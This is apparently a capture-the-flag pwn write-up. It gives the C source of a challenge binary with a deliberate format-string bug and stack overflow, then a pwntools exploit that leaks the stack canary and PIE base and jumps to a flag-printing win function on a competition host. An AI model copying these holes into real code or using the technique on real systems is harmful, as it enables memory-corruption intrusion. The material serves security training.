#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void nothing_to_see_here() {
char flag[128];
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("[SYSTEM] Wow, you even managed to delete the flag. I'm impressed.\n");
exit(0);
}
fgets(flag, sizeof(flag), f);
printf("\n[SYSTEM] OH NO! MY TOTALLY SECURE VAULT! HOW DID YOU...: %s\n", flag);
fclose(f);
}
void unhackable_logging_module() {
char buffer[64];
printf("\n[SECURE-LOG] Welcome to the World's Most Secure Logging(TM) system.\n");
printf("[SECURE-LOG] Please enter your super-secret Access ID for our top-tier logs: ");
// Vulnerability: Format String (Leads to Canary/PIE leak)
if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
printf("[SECURE-LOG] Safely logging your ID: ");
printf(buffer);
}
}
void air_gapped_security_gate() {
char secure_phrase[32];
printf("\n[GATE] You've reached the Air-Gapped gate. Only geniuses can pass.\n");
printf("[GATE] Whisper the secret password (max 32 chars, we promise we listen): ");
// Vulnerability: Buffer Overflow (Canary must be restored)
read(0, secure_phrase, 128);
printf("[GATE] Checking your IQ... Hmm... Access Denied.\n");
}
int main() {
init();
printf("--- EXPERTLY SECURED v99.9 ---\n");
printf("Created by The Best Security Researcher(TM)\n");
printf("Guaranteed 100%% Unhackable by Design.\n");
unhackable_logging_module();
air_gapped_security_gate();
printf("[SYSTEM] Final security check passed. You are definitely not a hacker.\n");
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Medium |
| Author | R3t0x |
| Technique | Format String + Canary Leak + ret2win |
pwndbg> checksec ./challenge
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections are on — but there's a win function nothing_to_see_here() that reads the flag.
printf(buffer); // in unhackable_logging_module()
Leak the canary and a PIE text address to defeat both protections.
read(0, secure_phrase, 128); // 128 into 32 — in air_gapped_security_gate()
Overflow past secure_phrase, restore the canary, then overwrite RIP with nothing_to_see_here().
# Leak canary and PIE
io.sendlineafter(b"ID: ", b"%11$p.%13$p")
canary = int(leaks[0], 16)
pie_base = int(leaks[1], 16) - known_offset
# Overflow with restored canary
payload = b'A' * 40 + p64(canary) + b'B' * 8 + p64(pie_base + win_offset)
io.sendafter(b"password", payload)
[SYSTEM] OH NO! MY TOTALLY SECURE VAULT! HOW DID YOU...:
Securinets_fst{f0rmat_str_an_canary_ar3_fun!}
from pwn import *
context.binary = binary = ELF('./main', checksec=False)
def get_process():
if args.REMOTE:
return remote('48.220.35.76', 1337)
else:
return process(binary.path)
io = get_process()
payload = "%15$p.%17$p"
io.sendlineafter(b"top-tier logs: ", payload.encode())
io.recvuntil(b"Safely logging your ID: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
leaked_addr = int(leaks[1], 16)
base = leaked_addr - 0x1507
binary.address = base
success(f"Canary: {hex(canary)}")
success(f"PIE Base: {hex(base)}")
# Gadgets and Targets
ret = base + 0x101a
target = base + 0x12d5 # nothing_to_see_here
offset_to_canary = 40
payload = b"A" * offset_to_canary
payload += p64(canary)
payload += b"B" * 8 # saved rbp
payload += p64(ret) # stack alignment
payload += p64(target)
io.sendlineafter(b"we promise we listen): ", payload)
try:
print(io.recvall(timeout=5).decode())
except Exception as e:
print(f"Error: {e}")
io.close()